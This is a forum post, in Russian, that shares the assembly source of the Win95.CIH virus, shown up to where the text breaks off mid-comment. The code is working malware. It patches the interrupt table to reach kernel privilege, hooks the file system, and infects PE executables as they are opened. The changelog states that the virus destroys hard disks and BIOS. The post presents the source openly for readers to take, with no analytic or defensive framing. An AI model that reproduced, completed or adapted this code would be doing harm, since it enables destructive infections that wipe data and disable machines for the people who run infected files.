Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor


Исходники вирусов


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 16

#1
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Известный на весь мир cih... В свое время наделал очень много шуму и проблем. Думаю исходники будут интересны  B)
; INFECTED VOICE	   ISSUE 98'09	  ©1994-98, by STEALTH group
; online h/p/v/a zine	 (russian)	  
;									   mailto:noxyucT@usa.net
;
;Вирус Win95.CIH
;Оригинальный исходник вируса был прислан автором в макровирусный журнал
;Codebreakers #4.
; *	 Дизайнер : CIH				  Источник: TTIT TATUNG, Тайвань	   *
; *	 Дата Создания: 04/26/1998	   Версия:  1.4						 *
; *	 Время последней модификации: 05/31/1998							  *
; *																		  *
; *	 Turbo Assembler 4.0	 : tasm /m cih								*
; *	 Turbo Link 3.01		 : tlink /3 /t cih, cih.exe				   *
; *																		  *
; *==========================================================================*
;							История модификаций
; *==========================================================================*
; *	 v1.0	1. Создать Вирус.											*
; *			 2. Вирус модифицирует IDT для достижения привилегий Ring0	*
; * 04/26/1998  3. Вирус не загружается повторно.							*
; *			 4. Вызывает IFSMgr_InstallFileSystemApiHook для внедрения в  *
; *				 фйловую систему.										 *
; *			 5. Изменяет точку входа в IFSMgr_InstallFileSystemApiHook.   *
; *			 6. Если операционная система открывает файл, он будет		*
; *				 заражен, и не будет заражен повторно.					*
; *			 7. Файл будет заражен если он Read-Only.					 *
; *			 8. Если файл заражаеся - его Дата и Время Модификации		*
; *				 не будут изменены.									   *
; *			 9. Когда вирус вызывает IFSMgr_Ring0_FileIO, он не будет	 *
; *				 вызывать предыдущий FileSystemApiHook, он вызовет функцию*
; *				 которую IFS Менеджер будет вызывать,чтобы выполнить	  *
; *				 обычный запрос Ввода/Вывода.							 *
; *			10. Размер Вируса 656 Байт.								   *
; *==========================================================================*
; *	 v1.1	1. Длинна файла не изменяется при заражении.				 *
; * 05/15/1998  2. Перехватывается Structured Exception Handing (SEH).	   *
; *				Если возникает ошибка исключения, то ОС - скорее всего	*
; *				Windows NT. Так что наш прикольный вирус не будет		 *
; *				продолжать Свое Дело :) он передаст управление			*
; *				оригинальной программе.								   *
; *			 3. Использован лучший алгоритм. Размер вируса уменьшен.	  *
; *			 4. "Базовый" размер вируса 796 Баит.						 *
; *==========================================================================*
; *	 v1.2	1. Убить все жесткие диски, и BIOS... Все... Hахуй...		*
; *			 2. Исправлен баг в v1.1									  *
; * 05/21/1998  3. "Базовый" размер вируса 1003 Байт.						*
; *==========================================================================*
; *	 v1.3	1. Исрпавлен баг с ошибкой WinZip Self-Extractor'a		   *
; *				Теперь эти файлы не заражаются.						   *
; * 05/24/1998  2. "Базовый" размер вируса 1010 Байт.						*
; *==========================================================================*
; *	 v1.4	1. Баг с WinZip Self-Extractor полностью исправлен.		  *
; *			 2. Изменена дата стабатывания "сюрприза".					*
; * 05/31/1998  3. Исправлена версия Copyright.							  *
; *			 4. "Базовый" размер вируса 1019 Байт.						*
; ****************************************************************************
 
				.586P
 
; ****************************************************************************
; *			 Оригинальный PE файл (Hе стоит модифицировать эту секцию)
; ****************************************************************************
 
OriginalAppEXE  SEGMENT
 
FileHeader:
				db	  04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
				db	  004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
				db	  0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
				db	  00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
				db	  021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
				db	  069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
				db	  061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
				db	  074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
				db	  020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
				db	  06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
				db	  024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
				db	  0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
				db	  00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
				db	  000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
				db	  000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
				db	  004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
				db	  000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
				db	  000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
				db	  000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
				db	  000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				db	  0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
				dd	  00000000h, VirusSize
 
OriginalAppEXE  ENDS
 
; ----------------------------------------------------------------------------
;							 Моя игра в вирусы
; ----------------------------------------------------------------------------
 
;----------------------------------------------------------------------------
;							Определение констант
;----------------------------------------------------------------------------
 
TRUE					=	   1
FALSE				   =	   0
 
DEBUG				   =	   TRUE
 
MajorVirusVersion	   =	   1
MinorVirusVersion	   =	   4
 
VirusVersion			=	   MajorVirusVersion*10h+MinorVirusVersion
 
 
IF	  DEBUG
 
		FirstKillHardDiskNumber =	   81h
		HookExceptionNumber	 =	   05h
 
ELSE
 
		FirstKillHardDiskNumber =	   80h
		HookExceptionNumber	 =	   03h
 
ENDIF
 
 
FileNameBufferSize	  =	   7fh
 
;----------------------------------------------------------------------------
;----------------------------------------------------------------------------
 
VirusGame			   SEGMENT
 
						ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
						ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame
 
;----------------------------------------------------------------------------
;			  Инициализация на Кольце 3 (Ring3)
;----------------------------------------------------------------------------
 
MyVirusStart:
						push	ebp
 
;----------------------------------------------------------------------------
; Модифицируем Structured Exception Handing, для предотвращения ошибки
; исключения, особенно на windows NT.
;----------------------------------------------------------------------------
 
						lea	 eax, [esp-04h*2]
 
						xor	 ebx, ebx
						xchg	eax, fs:[ebx]
 
						call	@0
@0:
						pop	 ebx
 
						lea	 ecx, StopToRunVirusCode-@0[ebx]
						push	ecx
 
						push	eax
 
;----------------------------------------------------------------------------
; Модификация IDT (Interrupt Descriptor Table - таблицы дескрипторов
; прерываний) для достижения привилегий Ring0
;----------------------------------------------------------------------------
 
						push	eax			;
						sidt	[esp-02h]	  ; Получить базовый адрес IDT
						pop	 ebx			;
 
						add	 ebx, HookExceptionNumber*08h+04h; ZF = 0
 
						cli
 
						mov	 ebp, [ebx]	 ; Получить базу
											   ; прерывания/исключения
						mov	 bp, [ebx-04h]  ; и точку входа
 
						lea	 esi, MyExceptionHook-@1[ecx]
 
						push	esi
 
						mov	 [ebx-04h], si		  ;
						shr	 esi, 16				; Перехватить прерывание
						mov	 [ebx+02h], si		  ; наша точка входа
 
						pop	 esi
 
;----------------------------------------------------------------------------
; Сгенерируеи исключение, чтоб перейти на Кольцо0
;----------------------------------------------------------------------------
 
						int	 HookExceptionNumber	; Генерируем
ReturnAddressOfEndException	 =	   $
 
;----------------------------------------------------------------------------
; Обьединим все кодовые секции вируса
;----------------------------------------------------------------------------
 
						push	esi
						mov	 esi, eax
 
LoopOfMergeAllVirusCodeSection:
 
						mov	 ecx, [eax-04h]
 
						rep	 movsb
 
						sub	 eax, 08h
 
						mov	 esi, [eax]
 
						or	  esi, esi
						jz	  QuitLoopOfMergeAllVirusCodeSection; ZF = 1
 
						jmp	 LoopOfMergeAllVirusCodeSection
 
QuitLoopOfMergeAllVirusCodeSection:
 
						pop	 esi
 
;----------------------------------------------------------------------------
; Генерируем исключение снова
;----------------------------------------------------------------------------
 
						int	 HookExceptionNumber	; Генерируем снова
 
;----------------------------------------------------------------------------
; Восстановим Structured Exception Handing (SEH) назад
;----------------------------------------------------------------------------
 
ReadyRestoreSE:
						sti
 
						xor	 ebx, ebx
 
						jmp	 RestoreSE
 
;----------------------------------------------------------------------------
; Когда возникнет Ошибка Исключения, наша ОС должно быть - Windows NT
; Так что мой миленький :) вирус не будет работать дальше, а вернет
; управление оригинальному приложению
;----------------------------------------------------------------------------
 
StopToRunVirusCode:
@1					  =	   StopToRunVirusCode
 
						xor	 ebx, ebx
						mov	 eax, fs:[ebx]
						mov	 esp, [eax]
 
RestoreSE:
						pop	 dword ptr fs:[ebx]
						pop	 eax
 
;----------------------------------------------------------------------------
; Возвратить управление программе
;----------------------------------------------------------------------------
 
						pop	 ebp
 
						push	00401000h	  ; Точка входа
OriginalAddressOfEntryPoint	 =	   $-4	; в оригинальную программу
 
						ret	; Возвратить управление
 
;----------------------------------------------------------------------------
; Инициализация на кольце 0
;----------------------------------------------------------------------------
 
MyExceptionHook:
@2					  =	   MyExceptionHook
 
						jz	  InstallMyFileSystemApiHook
 
;----------------------------------------------------------------------------
; Запущена ли другая копия !?
;----------------------------------------------------------------------------
 
						mov	 ecx, dr0
						jecxz   AllocateSystemMemoryPage
 
						add	 dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
 
;----------------------------------------------------------------------------
; Возвратиться в программу инициализации на Кольце0
;----------------------------------------------------------------------------
 
ExitRing0Init:
						mov	 [ebx-04h], bp  ;
						shr	 ebp, 16		; Восстановить прерывание
						mov	 [ebx+02h], bp  ;
 
						iretd
 
;----------------------------------------------------------------------------
; Выделить страницу системной памяти
;----------------------------------------------------------------------------
 
AllocateSystemMemoryPage:
 
						mov	 dr0, ebx	   ; Поставим метку, что вирус
											   ; уже запущен
 
						push	00000000fh	 ;
						push	ecx			;
						push	0ffffffffh	 ;
						push	ecx			;
						push	ecx			;
						push	ecx			;
						push	000000001h	 ;
						push	000000002h	 ;
						int	 20h			; VMMCALL _PageAllocate
_PageAllocate		   =	   $			  ;
						dd	  00010053h	  ; Использует EAX, ECX, EDX,
											   ; и флаги
						add	 esp, 08h*04h
 
						xchg	edi, eax	   ; EDI = Hачальный адрес
											   ; выделенной памяти
 
						lea	 eax, MyVirusStart-@2[esi]
 
						iretd  ; Возвратиться в программу инициализации
							   ; на Кольце0
 
;----------------------------------------------------------------------------
; Установить мой обработчик API файловой системы
;----------------------------------------------------------------------------
 
InstallMyFileSystemApiHook:
 
						lea	 eax, FileSystemApiHook-@6[edi]
 
						push	eax ;
						int	 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =	   $	  ;
						dd	  00400067h	  ; Использует EAX, ECX, EDX,
											   ; и флаги
 
						mov	 dr0, eax	   ; сохранить адрес старого
											   ; обработчика
											   ; (OldFileSystemApiHook)
 
						pop	 eax	; EAX = адрес FileSystemApiHook
 
					   ; Сохранить старый адрес процедуры перехвата
					   ; сервисов файловой системы
					   ; (IFSMgr_InstallFileSystemApiHook)
 
						mov	 ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
						mov	 edx, [ecx]
						mov	 OldInstallFileSystemApiHook-@3[eax], edx
 
					   ; Перехватить запросы на установку нового
					   ; обработчика  API файловой системы
					   ; (IFSMgr_InstallFileSystemApiHook)
 
						lea	 eax, InstallFileSystemApiHook-@3[eax]
						mov	 [ecx], eax
 
						cli
 
 
						jmp	 ExitRing0Init
 
;----------------------------------------------------------------------------
; Размер загрузчика, котрый склеивает все части вируса
;----------------------------------------------------------------------------
 
CodeSizeOfMergeVirusCodeSection		 =	   offset $
 
;----------------------------------------------------------------------------
; Обработчик сервиса перехвата API файловой системы
;		   IFSMgr_InstallFileSystemApiHook
;----------------------------------------------------------------------------
 
InstallFileSystemApiHook:
						push	ebx
 
						call	@4	 ;
@4:									;
						pop	 ebx	; mov ebx, offset FileSystemApiHook
						add	 ebx, FileSystemApiHook-@4	  ;
 
						push	ebx	; временно удалить наш обработчик
						int	 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook  =	   $
						dd	  00400068h	  ; Использует EAX, ECX, EDX,
											   ; и флаги
 
						pop	 eax
 
					   ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook
					   ; чтобы добавить запрошенный клиентом обработчик
 
						push	dword ptr [esp+8]
						call	OldInstallFileSystemApiHook-@3[ebx]
						pop	 ecx
 
						push	eax
 
					   ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook
					   ; чтобы добавить наш обработчик сверху всех
 
						push	ebx
						call	OldInstallFileSystemApiHook-@3[ebx]
						pop	 ecx
 
						mov	 dr0, eax	   ; Изменить адрес старого
											   ; обработчика API файловой
											   ; системы
											   ; (OldFileSystemApiHook)
 
						pop	 eax
 
						pop	 ebx
 
						ret
 
;----------------------------------------------------------------------------
;					   Статические (неподвижные) данные
;----------------------------------------------------------------------------
 
OldInstallFileSystemApiHook	 dd	  ?
 
;----------------------------------------------------------------------------
; Обработчик API файловой системы (IFSMgr_FileSystemHook)
;----------------------------------------------------------------------------
 
;----------------------------------------------------------------------------
; Точка входа в IFSMgr_FileSystemHook
;----------------------------------------------------------------------------
 
FileSystemApiHook:
@3					  =	   FileSystemApiHook
 
						pushad
 
						call	@5	 ;
@5:									;
						pop	 esi	; mov esi, offset VirusGameDataStartAddress
						add	 esi, VirusGameDataStartAddress-@5
 
;------------------------------------
; Поставлен ли флажек занятости!?
;------------------------------------
 
						test	byte ptr (OnBusy-@6)[esi], 01h
									   ; если поставлен -
						jnz	 pIFSFunc
									   ; исполнить запрошенную функцию
									   ; (goto pIFSFunc)
 
;------------------------------------
; Запрос на открытие файла (OpenFile)!?
;------------------------------------
 
					   ; Если это не открытие файла -
					   ; исполнить оригинальный обработчик
					   ; (goto prevhook)
						lea	 ebx, [esp+20h+04h+04h]
						cmp	 dword ptr [ebx], 00000024h
						jne	 prevhook
 
;------------------------------------
; Включить флажек занятости
;------------------------------------
 
						inc	 byte ptr (OnBusy-@6)[esi]
 
;----------------------------------------------------------------------------
; Получить номер диска из ПутиКФайлу
; и установить имя диска в Буфере (FileNameBuffer)
;------------------------------------
; Hапример. если HомерДиска 03h,
; - Имя диска 'C:'
;----------------------------------------------------------------------------
 
					   ; mov esi, offset FileNameBuffer
						add	 esi, FileNameBuffer-@6
 
						push	esi
 
						mov	 al, [ebx+04h]
						cmp	 al, 0ffh
						je	  CallUniToBCSPath
 
						add	 al, 40h
						mov	 ah, ':'
 
						mov	 [esi], eax
 
						inc	 esi
						inc	 esi
 
;--------------------------------------------------------------------------*
; UniToBCSPath
;--------------------------------------------------------------------------*
; Этот сервис конвертирует Канонизированный Unicode путь
; в нормальный в выбранной кодовой странице BCS
;--------------------------------------------------------------------------*
 
CallUniToBCSPath:
						push	00000000h
						push	FileNameBufferSize
						mov	 ebx, [ebx+10h]
						mov	 eax, [ebx+0ch]
						add	 eax, 04h
						push	eax
						push	esi
						int	 20h	; VXDCall UniToBCSPath
UniToBCSPath			=	   $
						dd	  00400041h
						add	 esp, 04h*04h
 
;------------------------------------
; имя файла кончается на '.EXE' !?
;------------------------------------
 
					   ; cmp [esi+eax-04h], '.EXE'
						cmp	 [esi+eax-04h], 'EXE.'
						pop	 esi
						jne	 DisableOnBusy
 
IF	  DEBUG
 
;------------------------------------
; Только для отладки
;------------------------------------
 
					   ; cmp [esi+eax-06h], 'FUCK'
						cmp	 [esi+eax-06h], 'KCUF'
						jne	 DisableOnBusy
 
ENDIF
 
;------------------------------------
; открывается уже существующий файл!?
;------------------------------------
 
					   ; if ( NotOpenExistingFile )
					   ; goto DisableOnBusy
						cmp	 word ptr [ebx+18h], 01h
						jne	 DisableOnBusy
 
;------------------------------------
; получить аттрибуты файла
;------------------------------------
 
						mov	 ax, 4300h
						int	 20h	; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO	 =	   $
						dd	  00400032h
 
						jc	  DisableOnBusy
 
						push	ecx
 
;------------------------------------
; получить адрес файлового сервиса ввода-вывода
; (IFSMgr_Ring0_FileIO)
;------------------------------------
 
						mov	 edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
						mov	 edi, [edi]
 
;------------------------------------
; Файл только для чтения!?
;------------------------------------
 
						test	cl, 01h
						jz	  OpenFile
 
;------------------------------------
; переставить в чтение-запись
;------------------------------------
 
						mov	 ax, 4301h
						xor	 ecx, ecx
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
;------------------------------------
; открыть файл
;------------------------------------
 
OpenFile:
						xor	 eax, eax
						mov	 ah, 0d5h
						xor	 ecx, ecx
						xor	 edx, edx
						inc	 edx
						mov	 ebx, edx
						inc	 ebx
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
						xchg	ebx, eax; mov ebx, FileHandle
										; хендл файла в ebx
 
;------------------------------------
; Hадо ли восстановить атрибуты файла?
;------------------------------------
 
						pop	 ecx
 
						pushf
 
						test	cl, 01h
						jz	  IsOpenFileOK
 
;------------------------------------
; Восстановить атрибуты
;------------------------------------
 
						mov	 ax, 4301h
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
;------------------------------------
; Файл открыт?
;------------------------------------
 
IsOpenFileOK:
						popf
 
						jc	  DisableOnBusy
 
;------------------------------------
; Если открытие файла прошло удачно
;------------------------------------
 
						push	esi	; Сохраним адрес буфера
									   ; (с именем файла) в стек
									   ; (FileNameBuffer)
 
						pushf		  ; Теперь CF = 0, Сохранить флаги
 
						add	 esi, DataBuffer-@7
									   ; mov esi, offset DataBuffer
 
;--------------------------
; получить смещение до NE-заголовка
;--------------------------
 
						xor	 eax, eax
						mov	 ah, 0d6h
 
					   ; Чтобы минимизировать код
					   ; я сохраняю EAX в EBP.
						mov	 ebp, eax
 
						push	00000004h
						pop	 ecx
						push	0000003ch
						pop	 edx
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
						mov	 edx, [esi]
 
;----------------------------------------------------------------------------
; Получить 'PE\0' сигнатуру из заголовка файла
; и метку заражения
;----------------------------------------------------------------------------
 
						dec	 edx
 
						mov	 eax, ebp
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
;----------------------------------------------------------------------------
; Это PE !?
;--------------------------
; Файл уже заражен ?!
;--------------------------
; самораспаковывающиеся WinZip архивы
; не имеют метки заражения, потому что мой вирус не заражает их
;----------------------------------------------------------------------------
 
					   ; cmp [esi], '\0PE\0'
						cmp	 dword ptr [esi], 00455000h
						jne	 CloseFile
 
;----------------------------------------------------------------------------
; Файл - PE (Portable Executable)
;------------------------------------
; Файл также не заражен
;------------------------------------
 
;------------------------------------
; Hачать заражение
;------------------------------------
; Статус использования регистров
; в этот момент:
 
; EAX = 04h
; EBX = Хэндл файла
; ECX = 04h
; EDX = (позиция в файле) указывает на 'PE\0\0'-сигнатуру в заголовке файла
; ESI = адрес буфера данных ==> @8
; EDI = адрес обработчика IFSMgr_Ring0_FileIO
; EBP = D600h ==> Считать данные из файла
;----------------------------------------------------------------------------
; Стек:
;								   *
; ESP => -------------------------  *
;		|	   EFLAG(CF=0)	 |  *
;		-------------------------  *
;		| FileNameBufferPointer |  *
;		-------------------------  *
;		|		  EDI		  |  *
;		-------------------------  *
;		|		  ESI		  |  *
;		-------------------------  *
;		|		  EBP		  |  *
;		-------------------------  *
;		|		  ESP		  |  *
;		-------------------------  *
;		|		  EBX		  |  *
;		-------------------------  *
;		|		  EDX		  |  *
;		-------------------------  *
;		|		  ECX		  |  *
;		-------------------------  *
;		|		  EAX		  |  *
;		-------------------------  *
;		|	 Адрес возврата	|  *
;		-------------------------  *
;----------------------------------------------------------------------------
 
						push	ebx	; сохранить хэндл файла
 
						push	00h	; установить марку конца таблицы
									   ; кодовых секций вируса
									   ; (VirusCodeSectionTableEndMark)
 
;--------------------------
; Поставить метку зараженности
;--------------------------
 
						push	01h	; Размер
						push	edx	; Позиция в файле
						push	edi	; Адрес буфера
 
;--------------------------
; Сохранить ESP
;--------------------------
 
						mov	 dr1, esp
 
;--------------------------
; Установить новый адрес точки входа (NewAddressOfEntryPoint).
; ( Only First Set Size ) *
;--------------------------
 
						push	eax	; Размер
 
;--------------------------
; Считать заголовок файла
;--------------------------
 
						mov	 eax, ebp
						mov	 cl, SizeOfImageHeaderToRead
						add	 edx, 07h; Переместить EDX (указатель) на
										; количество секций
						call	edi	 ; VXDCall IFSMgr_Ring0_FileIO
 
;----------------------------------------------------------------------------
; Установить новый адрес точки входа (NewAddressOfEntryPoint).
; Установить указатель, адрес буфера
;----------------------------------------------------------------------------
 
						lea	 eax, (AddressOfEntryPoint-@8)[edx]
						push	eax	; Указатель
 
						lea	 eax, (NewAddressOfEntryPoint-@8)[esi]
						push	eax	; Адрес буфера
 
;----------------------------------------------------------------------------
; Переместить EDX-указатель на начало таблицы секций
;----------------------------------------------------------------------------
 
						movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]
						lea	 edx, [eax+edx+12h]
 
;----------------------------------------------------------------------------
; получить общий размер секций
;----------------------------------------------------------------------------
 
						mov	 al, SizeOfScetionTable
 
					   ; Я предполагаю что количество секций
					   ; (NumberOfSections) <= 0ffh
						mov	 cl, (NumberOfSections-@8)[esi]
 
						mul	 cl
 
;--------------------------
; установить таблицу секций
;--------------------------
 
					   ; Переместить ESI на начало таблицы секций
						lea	 esi, (StartOfSectionTable-@8)[esi]
 
						push	eax	; Размер
						push	edx	; Позиция в файле
						push	esi	; Адрес буфера
 
;----------------------------------------------------------------------------
; размер вирусного загрузчика + размер таблицы секций вируса,
; должен быть меньше или равен размеру неиспользуемого места
; в файле (этот размер расчитывается из таблицы секций)
;----------------------------------------------------------------------------
 
						inc	 ecx
						push	ecx	; Сохранить количество секций +1
									   ; (NumberOfSections+1)
 
						shl	 ecx, 03h
						push	ecx	; сохранить размер таблицы секций вируса
									   ; (TotalSizeOfVirusCodeSectionTable)
 
						add	 ecx, eax
						add	 ecx, edx
 
						sub	 ecx, (SizeOfHeaders-@9)[esi]
						not	 ecx
						inc	 ecx
 
					   ; Сокранить первую кодовую секцию вируса (загрузчик)
					   ; Size of Following Section Table...
					   ; (Hе включая размер таблицы кодовых секций вируса)
 
						push	ecx
 
						xchg	ecx, eax	   ; ECX = Размер таблицы секций
 
					   ; Сохранить адрес оригинальной точки входа
 
						mov	 eax, (AddressOfEntryPoint-@9)[esi]
						add	 eax, (ImageBase-@9)[esi]
						mov	 (OriginalAddressOfEntryPoint-@9)[esi], eax
 
						cmp	 word ptr [esp], small CodeSizeOfMergeVirusCodeSection
						jl	  OnlySetInfectedMark
 
;--------------------------
;  Считать размер всех секций (файла)
;--------------------------
 
						mov	 eax, ebp
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
;----------------------------------------------------------------------------
; Исправлено:
; Возникновение ошибки в самораспаковывающихся архивах WinZip
;----------------------------------------------------------------------------
; Если юзер открывает самораспаковывыющийся WinZip-архив,
; то вирус его не заражает (архив в смысле :)
;----------------------------------------------------------------------------
; Сначала, вирус получает указатель на секцию Raw-данных (PointerToRawData)
; во второй таблице секций, читает данные из секции, и ищет строку 'WinZip®'
;----------------------------------------------------------------------------
 
						xchg	eax, ebp
 
						push	00000004h
						pop	 ecx
 
						push	edx
						mov	 edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
						add	 edx, 12h
 
						call	edi	; VXDCall IFSMgr_Ring0_FileIO
 
					   ; cmp [esi], 'nZip'
 
						cmp	 dword ptr [esi], 'piZn'
						je	  NotSetInfectedMark
 
						pop	 edx
 
;----------------------------------------------------------------------------
; Установить общий размер таблицы секций вируса
;----------------------------------------------------------------------------
 
					   ; EBX = Размер первой секции вируса
					   ; плюс размер последующей таблицы вирусных
					   ; секций (но не сама таблица)
 
						pop	 ebx
						pop	 edi	; EDI = общий размер таблицы
									   ; секций вируса
									   ; (TotalSizeOfVirusCodeSectionTable)
 
						pop	 ecx	; ECX = Количество секций +1
									   ; (NumberOfSections+1)
 
						push	edi			; Размер
 
						add	 edx, ebp
						push	edx			; Позиция
 
						add	 ebp, esi
						push	ebp			; Адрес буфера
 
;----------------------------------------------------------------------------
; Установить размер первой секции вируса в
; таблице секций вируса (VirusCodeSectionTable)
;----------------------------------------------------------------------------
 
						lea	 eax, [ebp+edi-04h]
						mov	 [eax], ebx
 
;----------------------------------------------------------------------------
; Записать первую секцию вируса
;----------------------------------------------------------------------------
 
						push	ebx	; Size
 
						add	 edx, edi
						push	edx	; Pointer of File
 
						lea	 edi, (MyVirusStart-@9)[esi]
						push	edi	; Address of Buffer
 
;----------------------------------------------------------------------------
; Изменить адрес точки входа на точку входа в вирус
;----------------------------------------------------------------------------
 
						mov	 (NewAddressOfEntryPoint-@9)[esi], edx
 
;--------------------------
; Установка начальных данных
;--------------------------
 
						lea	 edx, [esi-SizeOfScetionTable]
						mov	 ebp, offset VirusSize
 
						jmp	 StartToWriteCodeToSections
 
;--------------------------
; Записать код вируса в секции
;--------------------------
 
LoopOfWriteCodeToSections:
 
						add	 edx, SizeOfScetionTable
 
						mov	 ebx, (SizeOfRawData-@9)[edx]
						sub	 ebx, (VirtualSize-@9)[edx]
						jbe	 EndOfWriteCodeToSections
 
						push	ebx	; Размер
 
						sub	 eax, 08h
						mov	 [eax], ebx
 
						mov	 ebx, (PointerToRawData-@9)[edx]
						add	 ebx, (VirtualSize-@9)[edx]
						push	ebx	; Позиция в файле
 
						push	edi	; Адрес буфера
 
						mov	 ebx, (VirtualSize-@9)[edx]
						add	 ebx, (VirtualAddress-@9)[edx]
						add	 ebx, (ImageBase-@9)[esi]
						mov	 [eax+4], ebx
 
						mov	 ebx, [eax]
						add	 (VirtualSize-@9)[edx], ebx
 
					   ; Секция содержит инициализируемые данные
					   ;  ==> 00000040h
					   ; Секция доступна для чтения ==> 40000000h
 
						or	  (Characteristics-@9)[edx], 40000040h
 
StartToWriteCodeToSections:
 
						sub	 ebp, ebx
						jbe	 SetVirusCodeSectionTableEndMark
 
						add	 edi, ebx	   ; переместить адрес буфера
 
EndOfWriteCodeToSections:
 
						loop	LoopOfWriteCodeToSections
 
;--------------------------
; Поставить метку зараженности
;--------------------------
 
OnlySetInfectedMark:
						mov	 esp, dr1
 
						jmp	 WriteVirusCodeToFile
 
;--------------------------
; Hе ставить метку зараженности
;--------------------------
 
NotSetInfectedMark:
						add	 esp, 3ch
 
						jmp	 CloseFile
 
;--------------------------
; Записать метку конца таблицы секций вируса
;--------------------------
 
SetVirusCodeSectionTableEndMark:
 
					   ; изменить размер кодовой секции вируса
						add	 [eax], ebp
						add	 [esp+08h], ebp
 
					   ; установить метку окончания
						xor	 ebx, ebx
						mov	 [eax-04h], ebx
 
;----------------------------------------------------------------------------
; Когда вирус вызывает VxDCall, VMM модифицирует код 'int 20h' и
; идентификатор сервиса ('Service Identifier') на код 'Call [XXXXXXXX]'
